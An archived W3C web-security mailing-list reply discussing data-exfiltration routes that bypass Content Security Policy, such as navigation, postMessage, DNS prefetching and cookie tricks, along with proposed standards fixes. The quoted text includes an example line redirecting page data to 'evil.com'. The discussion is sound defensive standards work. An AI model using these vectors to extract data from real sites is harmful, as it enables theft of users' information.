W3C home > Mailing lists > Public > public-webappsec@w3.org > September 2016

Re: On the Insecurity of Whitelists and the Future of CSP

From: Anne van Kesteren <annevk@annevk.nl>
Date: Thu, 8 Sep 2016 12:47:47 +0200
Message-ID: <CADnb78iCVnvceDdPFWUuNaqxfGZdL0X_WsQemitpKO9P6G5SAg@mail.gmail.com>
To: Artur Janc <aaj@google.com>
Cc: Christoph Kerschbaumer <ckerschbaumer@mozilla.com>, "Hodges, Jeff" <jeff.hodges@paypal.com>, W3C Web App Security WG <public-webappsec@w3.org>, craig.francis@gmail.com
On Thu, Sep 8, 2016 at 12:39 PM, Artur Janc <aaj@google.com> wrote:
> - Navigating or opening new windows to the attacker's origin (top.location =
> "//evil.com/?data). With this an attacker doesn't need any other techniques
> -- it will always work.
> - Sending data via postMessage to other windows/frames the user has open
> (e.g. the attacker-controlled page in window.opener)

These are both navigation and we should figure out a plan.

> - Opening same-origin pages/frames (usually same-origin frames will be
> allowed) to documents with less restrictive CSP, e.g. error messages, and
> then sending out the data from there.

Hopefully https://github.com/mikewest/origin-policy goes some way
towards addressing this.

> - More exotic vectors such DNS prefetching/prerendering which work in many
> modern browsers.

We should make CSP cover DNS prefetching. I don't understand why it
doesn't already. (Prerendering is probably a case of navigation, so
can be grouped into the above navigation issue.)

> - Timing attacks, application-specific attacks (saving data in the same
> origin where the attacker can see it or sending messages to other users --
> often possible in complex applications), sending data to any whitelisted
> origins (e.g. analytics services which let the attacker see request
> parameters), saving data in window.name, saving it in document.cookie scoped
> to the whole origin (.example.org), etc.

Some of these can stopped using same-site cookies I think. Not sure
about the others, but we should try to plug those too.

Received on Thursday, 8 September 2016 10:48:15 UTC

This archive was generated by hypermail 2.4.0 : Friday, 17 January 2020 18:54:57 UTC